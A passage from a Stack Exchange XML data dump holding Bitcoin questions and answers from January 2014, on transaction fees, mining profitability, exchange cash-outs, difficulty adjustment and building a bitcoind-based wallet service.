ClosedDate="2014-02-13T09:56:53.980" ContentLicense="CC BY-SA 3.0" />
  <row Id="20791" PostTypeId="2" ParentId="845" CreationDate="2014-01-19T15:14:35.850" Score="2" Body="&lt;p&gt;Bitcoin Days destroyed cannot show exactly how many bitcoins are in dormant. An interesting related measurement is called &lt;a href=&quot;http://dormantbitcoin.com/&quot; rel=&quot;nofollow&quot;&gt;Dormant Bitcoin Chart&lt;/a&gt;, which shows the dormancy of all bitcoins.&lt;/p&gt;&#xA;" OwnerUserId="12409" LastActivityDate="2014-01-19T15:14:35.850" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20793" PostTypeId="1" AcceptedAnswerId="20811" CreationDate="2014-01-19T16:03:48.780" Score="1" ViewCount="317" Body="&lt;p&gt;My question is : how can some exchanges instantaneously convert bitcoins into cash, in light of the fact that it takes 10 minutes to &amp;quot;validate&amp;quot; a bitcoin transaction?&lt;/p&gt;&#xA;&lt;p&gt;A bitcoin transaction takes 10 minutes to &amp;quot;validate&amp;quot;. Yet some exchanges like coinbase allow merchants to instantaneously convert bitcoin payments into cash. In &lt;a href=&quot;https://coinbase.com/docs/merchant_tools/payouts&quot; rel=&quot;nofollow noreferrer&quot;&gt;Automatically cash out bitcoin with zero exchange rate risk&lt;/a&gt; it mentions that :&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;When you enable &amp;quot;instant exchanges&amp;quot;, bitcoin you receive for merchant&#xA;orders will no longer be sent to your Coinbase wallet. Instead they&#xA;will be sent directly to Coinbase and exchanged, ensuring that you get&#xA;the the exact local currency price that you set in the merchant tools.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;When a person buys a product, then even though the purchasers bitcoin is sent directly to Coinbase, will it not be the case that it takes 10 minutes to validate, since it is just another bitcoin transaction? If so then how do exchanges like Coinbase allow one to convert bitcoins to cash immediately?&lt;/p&gt;&#xA;" OwnerUserId="12404" LastEditorUserId="-1" LastEditDate="2020-06-16T11:10:03.350" LastActivityDate="2017-12-24T03:23:27.877" Title="Instantaneous exchange/conversion of bitcoin into cash" Tags="|exchanges|sell-bitcoins|zero-confirmation|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20795" PostTypeId="1" CreationDate="2014-01-19T16:53:11.970" Score="3" ViewCount="2096" Body="&lt;p&gt;I tried sending 0.0001 BTC from my blockchain.info wallet.  It deducted 0.0009 BTC from my account, including a 0.0008 BTC is transaction fee.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it correct that the transaction fee is 8 times larger than the amount sent?&lt;/p&gt;&#xA;" OwnerUserId="12412" LastEditorUserId="5406" LastEditDate="2014-01-20T16:46:07.617" LastActivityDate="2014-01-20T16:46:07.617" Title="Why is the transaction fee a multiple of the amount I want to send?" Tags="|transaction-fees|blockchain.info|" AnswerCount="2" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="20796" PostTypeId="2" ParentId="20777" CreationDate="2014-01-19T17:00:26.360" Score="2" Body="&lt;p&gt;At the end of the Day this is a very trader specific questions. Trading with a moving average system is dependent on the traders preference. If you do not understand the best way you personally should be trading, you are likely setting yourself up for failure from the beginning. I recommend you read &quot;Trading for a Living&quot; Dr. Van K Tharpe&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are hundreds of books written on trading with moving averages. There is no rule that works 100% of the time. 10 and 21 is traditionally used by institutions, but that does not mean you can't be successful with a 20 or 30. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You need to play with a moving average combination that works for you, and your personal trading style. I highly recommend paper trading you strategy before trading live with actual Bitcoin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The biggest thing you need to figure out, is what type of trader you are, and the frequency of trades you want to be taking. If you are a day trader the 1 and 15 min may be what you need. If you are looking for a trade maybe once a week, the 5 and 10 might work. If you are looking to take trades over the course of weeks, 10 and 20 on daily chart. If you want a few trades a year 50 and 150 daily. Trading all of these time frames, could be over whelming, and just result in losses.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any moving average combination can be used by any trader provided&#xA;1.) They are disciplined in the strategy&#xA;2.) Have back tested the strategy&#xA;3.) Have appropriate risk management&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you can not explain to someone exactly how your strategy approaches all three of the above points, you need to stop focusing on the moving average pair you are trading, and reevaluate what your trading strategy is. &lt;/p&gt;&#xA;" OwnerUserId="12089" LastActivityDate="2014-01-19T17:00:26.360" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20797" PostTypeId="2" ParentId="17306" CreationDate="2014-01-19T17:25:23.260" Score="0" Body="&lt;p&gt;Theoretically if the Bitcoin market was 100% efficient the exchange rate of fiats should be the same in Bitcoin pricing. That is definitely not always the case, and if someone has a global bank accounts they may be able to take advantage of these arbitrage opportunities.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the last 2 years this gab has tightened which is expected. Here is a current example&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Looking at the Canadian dollar. (Ignoring MTGOX)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Virtex = 875 CAN to buy 1 bitcoin&#xA;BtcStamp = 861 USD buy 1 Bitcon&lt;/p&gt;&#xA;&#xA;&lt;p&gt;CAN To USD conversion 90.5 CAN to USD&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All prices as of the time of this post. (Ignoring commission and conversion charges)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So if you bought 10 Bitcoin in Canada = $8750 CAN invested&#xA;Sell in the USA 10 Bitcoin = $8610 USD&#xA;Convert to CAN dollars at 0.91 = $9461 CAN dollars&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So you would have a $710 profit (Approx 8%) bringing the funds back to Canada less commission. DO this enough and the spread should theoretically tighten to not be profitable.&lt;/p&gt;&#xA;" OwnerUserId="12089" LastActivityDate="2014-01-19T17:25:23.260" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20800" PostTypeId="2" ParentId="20795" CreationDate="2014-01-19T19:02:14.940" Score="1" Body="&lt;p&gt;That's the recommended fee, the recommended fee is like the minimum amount to get your transaction included in a block ASAP. You should be able to set fees, but for small amounts like that a fee that large is common, remember, miners can only include so many transactions a block every 10 minutes, so they pick the transactions with the largest fee and smallest txn size.&lt;/p&gt;&#xA;" OwnerUserId="11369" LastActivityDate="2014-01-19T19:02:14.940" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20802" PostTypeId="2" ParentId="18422" CreationDate="2014-01-19T19:48:16.943" Score="4" Body="&lt;p&gt;At first, let me shortly explain how Block Erupters (generally known as icarus miners) work.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Computer running mining software (like cgminer) sends a task to the erupter.&lt;/li&gt;&#xA;&lt;li&gt;The erupter tries all 2^32 possible nonces.&lt;/li&gt;&#xA;&lt;li&gt;If the erupter founds a valid nonce, it sends it back to the computer. But if no valid nonce is found (task cannot be done), nothing is sent back to the computer.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;So the computer must wait some time for some nonce or after some time consider the task as finished without the result. This time is in case of Block Erupter approximately 12.78 seconds (2^32 hashes / 336MH/s). Unfortunatelly cgminer (according to git sources - &lt;a href=&quot;https://github.com/ckolivas/cgminer/blob/master/driver-icarus.c#L81&quot; rel=&quot;nofollow&quot;&gt;https://github.com/ckolivas/cgminer/blob/master/driver-icarus.c#L81&lt;/a&gt;) waits only for 10s. So it misses some valid nonces. But this is another story.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now about the meaning of led states:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Led is OFF - erupter is currently working&lt;/li&gt;&#xA;&lt;li&gt;Led is ON - erupter is waiting for a new task&lt;/li&gt;&#xA;&lt;li&gt;Short flash - erupter have just found a nonce. It is possible that Erupter finds multiple nonces for one request. I am not sure if it will flash multiple times in this case.&lt;/li&gt;&#xA;&lt;li&gt;Long flash - is actually short time of ON (idle) phase between two OFF (working) phases. It means that erupter finished work but computer have not sent next request yet. This is probably due to some error or just because computer has no task for erupter ready yet.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Normally long flash should happen after every request. But due to the 10s issue erupter gets a new task before it finishes the previous one.&lt;/p&gt;&#xA;" OwnerUserId="12416" LastActivityDate="2014-01-19T19:48:16.943" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="20804" PostTypeId="2" ParentId="8981" CreationDate="2014-01-19T21:23:31.290" Score="1" Body="&lt;p&gt;Bitshrub.com can be added to that list. Settlement is not in Fiat, and liquidity is low currently, but Puts and Calls can be bought and sold. A lot simpler and cheaper than MPEX.&lt;/p&gt;&#xA;" OwnerUserId="12089" LastActivityDate="2014-01-19T21:23:31.290" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20808" PostTypeId="2" ParentId="20795" CreationDate="2014-01-19T22:26:45.427" Score="1" Body="&lt;p&gt;The details about bitcoin fees are explained &lt;a href=&quot;http://bitcoinfees.com&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;. In short: If you don't pay fees for small amounts, it takes longer until your transactions are included in a block and thus confirmed (to avoid &quot;dust&quot; spam). For blockchain.info you can click on &quot;Send Money&quot; and then &quot;custom&quot; to specify 0 BTC for &quot;Miners Fee&quot;. I don't see a problem with this, because they get 25 BTC anyway for mining a block.&lt;/p&gt;&#xA;" OwnerUserId="12422" LastActivityDate="2014-01-19T22:26:45.427" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20809" PostTypeId="1" CreationDate="2014-01-19T23:02:33.683" Score="1" ViewCount="1713" Body="&lt;p&gt;I have lots of laptops that are idle nearly all the time. Some of those laptops are new, some of them are old. Sometimes a word processor is opened and that's it. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it possible to use these laptops for mining in order to make money? &lt;/p&gt;&#xA;" OwnerUserId="12424" LastEditorUserId="5406" LastEditDate="2016-01-20T20:16:18.303" LastActivityDate="2016-01-20T20:16:18.303" Title="Can mining with lots of laptops make money?" Tags="|mining-profitability|cpu-mining|" AnswerCount="2" CommentCount="1" ClosedDate="2016-01-20T20:17:47.903" ContentLicense="CC BY-SA 3.0" />
  <row Id="20810" PostTypeId="2" ParentId="20809" CreationDate="2014-01-19T23:05:34.720" Score="0" Body="&lt;p&gt;You'd waste money on energy and you'd slowly wear down the laptop's inner components (capacitors LOVE to die in machines that are on 24/7 for years). You aren't gonna get much mining done either, the best mining you are gonna get is from the GPU not CPU, and laptops aren't graphical powerhouses. You'd probably be making a cent a day.&lt;/p&gt;&#xA;" OwnerUserId="11369" LastActivityDate="2014-01-19T23:05:34.720" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20811" PostTypeId="2" ParentId="20793" CreationDate="2014-01-19T23:11:56.853" Score="1" Body="&lt;p&gt;Because the exchanges are in possession of confirmed bitcoins from the get go. Mtgox makes you wait about a full hour before you are accredited deposited bitcoins to get those 6 confirms. And to exchange it they just decrement the person's account's bitcoin balance and increment the fiat balance (according to whichever market order).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On coinbase they just decrement your account balance and send fiat to your bank account simultaneously.&lt;/p&gt;&#xA;" OwnerUserId="11369" LastActivityDate="2014-01-19T23:11:56.853" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="20812" PostTypeId="2" ParentId="20779" CreationDate="2014-01-19T23:19:04.770" Score="1" Body="&lt;p&gt;A good phrase for this is &quot;If you need to ask, you shouldn't.&quot; because there is just so much that can go wrong and not to mention wallet services are vast and abundant. But if you really want to: &lt;a href=&quot;http://coinpunk.org/&quot; rel=&quot;nofollow&quot;&gt;http://coinpunk.org/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="11369" LastActivityDate="2014-01-19T23:19:04.770" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="20813" PostTypeId="2" ParentId="20809" CreationDate="2014-01-19T23:30:15.433" Score="2" Body="&lt;p&gt;To mine most crypto-currencies you'd need a good graphics card, preferably AMD than nVidia. Graphics chips integrated with the mother-board are typically bad for this, if they can be used at all.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are some cryptocurrencies you do can mine with CPU only, like Protoshares, Quarkcoin, Primecoin and a few others. To avoid affecting the normal usage of a computer, mining program can run with a very low priority so it's only running when computer's not really used.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, mining on a laptop is &lt;strong&gt;strongly discouraged&lt;/strong&gt; for they're typically not designed to be run with their processors at 100% the whole time, so you're going to wear down the components earlier due to overheating - capacitors, battery, even hard-drive or microprocessor could die earlier because of that (e.g. Apple Airs wear down very fast if you put them to mine, a friend of mine experienced it).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you can somehow ensure they'll have VERY good ventilation, or if you limit the mining to 4 or 5 hours a day, with several &quot;rest&quot; hours between each, you might make some money off them. But then, you ought to measure carefully the cost of the extra power they eat (plus the extra refrigeration's consumption) vs. what they would take if idle, vs. what you earn after a while - it might be profitable, or it might not.&lt;/p&gt;&#xA;" OwnerUserId="4748" LastActivityDate="2014-01-19T23:30:15.433" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20814" PostTypeId="1" CreationDate="2014-01-19T23:56:00.353" Score="1" ViewCount="5768" Body="&lt;p&gt;I was strongly considering buying one of the 25 GHash/s miners and hooking it up to my laptop or desktop when not using them, as in, leave the miner running overnight or while I'm at work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The mining profitability calculators confuse me. If I join a pool and mine the way described above, would it be profitable?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;How long would it take to earn that c. $800 back?&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="12427" LastEditorUserId="5406" LastEditDate="2016-01-20T20:14:45.623" LastActivityDate="2017-05-31T02:07:02.350" Title="How long does it take to earn back the investment of a miner?" Tags="|mining-profitability|" AnswerCount="3" CommentCount="0" ClosedDate="2017-05-31T02:38:17.300" ContentLicense="CC BY-SA 3.0" />
  <row Id="20816" PostTypeId="2" ParentId="20814" CreationDate="2014-01-20T00:43:39.543" Score="2" Body="&lt;p&gt;You can run the miner all the time, not just overnight or while you're at work.  It doesn't use hardly any resources on the laptop... all the heavy lifting is done on the miner.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's very risky to buy a miner.  The miner manufacturers often take a long time (i.e. several months) to deliver your order.  While you are waiting the mining difficulty is going up and the manufacturers move on to new more powerful models.  As a result, by the time you get your hardware it could be well on its way to becoming obsolete.  Keep in mind that a mining rig is not useful for any other purpose.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is a very real possibility that you will never make back your investment unless the bitcoin price goes up a lot.  And if you want to bet on the bitcoin price going up, you can simply buy bitcoin and save yourself the whole mining hassle.&lt;/p&gt;&#xA;" OwnerUserId="4708" LastActivityDate="2014-01-20T00:43:39.543" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20818" PostTypeId="1" CreationDate="2014-01-20T01:31:51.613" Score="1" ViewCount="358" Body="&lt;p&gt;I understand that the difficulty is growing and think that it should be possible to estimate how quickly that happens. I would like to analyze the previous difficulty progression and feel that I then should be able to predict the change in difficulty for the next year. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Are there already calculators that predict the change in difficulty? Where can I find a chart that compares the Bitcoin price to the difficulty progression?&lt;/p&gt;&#xA;" OwnerUserId="1921" LastEditorUserId="5406" LastEditDate="2014-01-20T18:18:43.107" LastActivityDate="2014-01-21T11:49:24.857" Title="How can one estimate the difficulty change?" Tags="|difficulty|" AnswerCount="1" CommentCount="4" ClosedDate="2014-02-03T07:32:16.203" ContentLicense="CC BY-SA 3.0" />
  <row Id="20819" PostTypeId="2" ParentId="20814" CreationDate="2014-01-20T02:29:01.910" Score="-1" Body="&lt;p&gt;You could mine altcoins that are easier to get (like PrimeCoins), and then exchange those for bitcoins on an exchange.&lt;/p&gt;&#xA;" OwnerUserId="4206" LastActivityDate="2014-01-20T02:29:01.910" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="20820" PostTypeId="1" CreationDate="2014-01-20T04:10:47.990" Score="2" ViewCount="862" Body="&lt;p&gt;Who runs the Bitcoin network, and how do they adjust the rate at which the coins are created?&lt;/p&gt;&#xA;" OwnerUserId="12432" LastEditorUserId="5406" LastEditDate="2015-05-13T09:34:11.800" LastActivityDate="2015-05-13T09:34:11.800" Title="How does the network adjust the rate at which the coins are created?" Tags="|network|difficulty|money-supply|governance|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20821" PostTypeId="1" CreationDate="2014-01-20T04:12:53.717" Score="4" ViewCount="1436" Body="&lt;p&gt;I would like to build an online wallet service. I thinks it will be easy to implement all the functionalities if I go with Bitcoind. Here is a possible workflow:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;New user with email &lt;code&gt;bob@g.com&lt;/code&gt; can obtain a new account (in Bitcoind) with new address by calling &lt;code&gt;getnewaddress bob@g.com&lt;/code&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;We can then start polling &lt;code&gt;listsinceblock xxx&lt;/code&gt; to get all new transactions. If we receive a new incoming transaction, store &lt;code&gt;txid&lt;/code&gt; in database, then iteratively call &lt;code&gt;gettransaction txid&lt;/code&gt; on all unconfirmed transactions. When the number of confirmations are bigger than a certain threshold, credit the account in database, then call &lt;code&gt;move bob@g.com safe&lt;/code&gt;, just to make the next step easier.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;When &lt;code&gt;safe&lt;/code&gt; account exceeds say 50BTC, send them to offline wallet.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;When user wants to withdraw, refill &lt;code&gt;safe&lt;/code&gt; if necessary, send the coins from &lt;code&gt;safe&lt;/code&gt;, and update user's balance in the database.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;However, in all the related questions I've read, most people say Bitcoind won't scale. Even the Bitcoin wiki says so. Now, if we are only to use the JSONRPC to interface the network, I can imagine the following workflow:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;We generate say 1M addresses in database. When user signs up or require new address, we assign one address to them.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;We enable &lt;code&gt;blocknotify&lt;/code&gt; to get new block hash &lt;code&gt;blkhash&lt;/code&gt;.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Call &lt;code&gt;getblock blkhash&lt;/code&gt; to get all transaction hashes in the new block.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Call &lt;code&gt;getrawtransaction txid&lt;/code&gt; to see whether we received an incoming transaction to our addresses. If so, keep the &lt;code&gt;txid&lt;/code&gt; and keep polling &lt;code&gt;gettransaction txid&lt;/code&gt; to update the confirmation number.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Call &lt;code&gt;signrawtransaction&lt;/code&gt;, &lt;code&gt;sendrawtransaction&lt;/code&gt; to move funds to offline wallet.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;My questions are, &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Do you think my proposals are reasonable?&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;What are the nuances in the operations above? For example, &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;by moving all funds to one account and then send money, does that count as one transaction or one transaction for each account? Are transaction fees the same?&lt;/li&gt;&#xA;&lt;li&gt;when doing &lt;code&gt;getrawtransaction&lt;/code&gt;, in the &lt;code&gt;vout&lt;/code&gt; array, each object represents a destination, but each of them has an &lt;code&gt;addresses&lt;/code&gt; array. There are cases where it contains multiple addresses. Does it mean it's a &quot;multisig&quot; transaction? Or is it related to &lt;code&gt;reqSigs&lt;/code&gt; field? How do we handle such cases?&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I've read following questions, but didn't find my answer: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://bitcoin.stackexchange.com/questions/19567/does-the-original-bitcoin-client-scale-to-contain-millions-of-addresses&quot;&gt;Does the original Bitcoin client scale to contain millions of addresses?&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://bitcoin.stackexchange.com/questions/17423/bitcoin-client-api-rpc-efficient-way-to-list-transactions-from-a-list-of-addres&quot;&gt;Bitcoin Client API-RPC: Efficient way to list transactions from a list of addresses&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please help.. Thank you very much!&lt;/p&gt;&#xA;" OwnerUserId="11828" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.610" LastActivityDate="2014-06-22T19:00:51.073" Title="Build an online wallet service with Bitcoind, can it scale? If not, what can be done?" Tags="|transactions|bitcoind|scalability|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="20822" PostTypeId="1" CreationDate="2014-01-20T04:20:20.733" Score="0" ViewCount="79" Body="&lt;p&gt;In the debt based fiat system of currency currently being monopolized, the amount of money added into circulation can cause it to deflate or inflate in value.  How does the network calculate the proper rate at which to add more bitcoins?&lt;/p&gt;&#xA;" OwnerUserId="12432" LastActivityDate="2014-04-20T15:09:02.277" Title="How does the network decide the appropriate rate at which to create bitcoins?" Tags="|network|regulation|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="20823" PostTypeId="1" CreationDate="2014-01-20T05:06:10.870" Score="2" ViewCount="141" Body="&lt;p&gt;I read that bitcoind comes bundled with bitcoin-qt, but I can't find it anywhere on my system after installing bitcoin-qt. I'm using Ubuntu.&lt;/p&gt;&#xA;" OwnerUserId="12433" LastEditorUserId="132" LastEditDate="2014-01-20T09:32:06.530" LastActivityDate="2014-01-20T10:48:01.780" Title="Where can I find the bitcoind bundled with bitcoin-qt in Ubuntu?" Tags="|bitcoind|bitcoin-core|ubuntu|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20824" PostTypeId="1" CreationDate="2014-01-20T06:05:18.403" Score="-2" ViewCount="500" Body="&lt;p&gt;To whom may concern,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am new to the scene of Bitcoin and have no prior computer/ technical background. I am planning to setup a personal exchange for trading rather than relying on exchanges and localbitcoin. Could anyone elucidate me as to how to setup a secure personal exchange and how to do backup just in case there is a computer virus or to prevent people from hacking. Please do not suggest Buttercoin as a platform as you need to pay them for each transaction. Thanks in advance. &lt;/p&gt;&#xA;" OwnerUserId="12437" LastActivityDate="2014-01-21T21:52:11.257" Title="Bitcoin exchange setup" Tags="|exchanges|market|buttercoin|" AnswerCount="2" CommentCount="2" ClosedDate="2014-02-04T05:49:42.720" ContentLicense="CC BY-SA 3.0" />
  <row Id="20827" PostTypeId="1" CreationDate="2014-01-20T06:46:37.780" Score="1" ViewCount="3884" Body="&lt;p&gt;I just started mining today at Dogechain pool. I wanted to see what mining was like, so I'm only using minerd with my CPU. I don't expect a lot until I get a GPU rig going, but something doesn't seem right. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For instance, I'm averaging 8-10 kH/s hashing rate (sometimes as high as 15, sometimes as low as 5). On minerd, after about 6 hours I'm over 200/200 accepted, but on Dogechain pool, I've only earned 21 Dogecoin. During the last block round, my shares went over a 100, and in the pool stats, it shows my hashrate as averaging between 225 and 250 doge/day. At this rate, I'll only be earning about 80 a day. According to coinwarz at 8 kH/s, I should at least be earning 108 a day.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It seems like the rate of reward is really low, even for CPU mining. Can anyone give me an idea why?&lt;/p&gt;&#xA;" OwnerUserId="12442" LastEditorUserId="5406" LastEditDate="2016-03-11T15:05:09.157" LastActivityDate="2016-03-11T15:05:09.157" Title="Understanding Shares in Pool Mining" Tags="|mining-pools|dogecoin|cpu-mining|mining-pool-shares|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20829" PostTypeId="2" ParentId="20822" CreationDate="2014-01-20T08:26:17.167" Score="0" Body="&lt;p&gt;The simple answer is that it tries to keep bitcoin creation as steady as possible, but halving the rate every 4 years in order to sustain inflation in value.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The network makes mining difficult or easier by increasing/decreasing difficulty in order to achieve a 10 minute block time. If the amount of miners increases, that means a block will be solved less than 10 minutes and that becomes the que for the network to make it harder to mine. And if it on average took longer than 10 mins to mine a block, that the que to ease up mining.  To put it simply, if the amount of miners doubled over night, it becomes twice as hard to mine bitcoins. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The network adjusts to the amount of people using the currency.&lt;/p&gt;&#xA;" OwnerUserId="11369" LastActivityDate="2014-01-20T08:26:17.167" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20830" PostTypeId="2" ParentId="18043" CreationDate="2014-01-20T08:27:22.957" Score="1" Body="&lt;p&gt;Both signers need to sign the transaction in order to get it in the blockchain. Otherwise it will get rejected.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But there is a BIP (&lt;a href=&quot;https://github.com/bitcoin/bips/blob/master/bip-0010.mediawiki&quot; rel=&quot;nofollow&quot;&gt;https://github.com/bitcoin/bips/blob/master/bip-0010.mediawiki&lt;/a&gt;) addressing the matter of sending partially signed multisigs.&lt;/p&gt;&#xA;" OwnerUserId="12239" LastActivityDate="2014-01-20T08:27:22.957" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20831" PostTypeId="2" ParentId="20820" CreationDate="2014-01-20T08:31:58.903" Score="0" Body="&lt;p&gt;Via difficulty: &lt;a href=&quot;https://en.bitcoin.it/wiki/Difficulty&quot; rel=&quot;nofollow&quot;&gt;https://en.bitcoin.it/wiki/Difficulty&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Simply put, the network tries its best to make sure a block of 25 BTC (reward will change in the future) is found every 10 minutes.&lt;/p&gt;&#xA;" OwnerUserId="11369" LastActivityDate="2014-01-20T08:31:58.903" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="20832" PostTypeId="2" ParentId="20823" CreationDate="2014-01-20T09:57:30.023" Score="1" Body="&lt;p&gt;If you start &lt;code&gt;bitcoin-qt&lt;/code&gt; with the &lt;code&gt;-server&lt;/code&gt; option, it also runs an RPC server, making it functionally equivalent to &lt;code&gt;bitcoind&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="208" LastActivityDate="2014-01-20T09:57:30.023" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20833" PostTypeId="2" ParentId="13130" CreationDate="2014-01-20T10:09:19.990" Score="0" Body="&lt;p&gt;Using brute force you won't be able to recover your passphrase within your lifetime, but you can use &lt;a href=&quot;https://en.bitcoin.it/wiki/Vanitygen&quot; rel=&quot;nofollow&quot;&gt;vanitygen&lt;/a&gt; to recover it (well it won't be you who recover it, it will be your grand grand grand .... sons who will finally recover it)&lt;/p&gt;&#xA;" OwnerUserId="12249" LastActivityDate="2014-01-20T10:09:19.990" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20834" PostTypeId="2" ParentId="20823" CreationDate="2014-01-20T10:48:01.780" Score="0" Body="&lt;p&gt;They are two different things. If you want to install bitcoind you will need to install it&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;apt-get install bitcoind&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But you can't run both at the same time, since bitcoin-qt is the same as bitcoind but with a nice interface while bitcoind is just the daemon.&lt;/p&gt;&#xA;" OwnerUserId="12249" LastActivityDate="2014-01-20T10:48:01.780" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20835" PostTypeId="2" ParentId="20827" CreationDate="2014-01-20T10:48:11.173" Score="1" Body="&lt;p&gt;The income you earn will vary from what you would expect to earn on a given day.  In order to earn income a block must be found and until a block is found you will earn nothing.  For example, let's assume your pool on average founds a block every 2.5 hours and each block you earn 11.25 doge.  You would have earned about 22.50 doge in the timeframe of 6 hours.  In the first 24 hours,  you would earn about 101.25 doge.  The next day you would earn about 112.50 and the next day would be 101.25 doge, but your daily average over 5 days is 108 doge.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Of course, in reality you would never see blocks found with such regularity.  Instead, you might find only 7 blocks on day one and then 13 blocks on day 2 and so on.  Blocks are found randomly and so you can expect your income to be all over the place.  Overtime, you will see your average income reflect your expected income with a lower variance depending how many days you factor in.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So far, you have no basis to be concerned and it seems your low income is just example of bad luck, but over time luck becomes a lesser factor.  You should get to 108 a day and on some days you will earn more.  Happy mining :).&lt;/p&gt;&#xA;" OwnerUserId="12445" LastActivityDate="2014-01-20T10:48:11.173" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
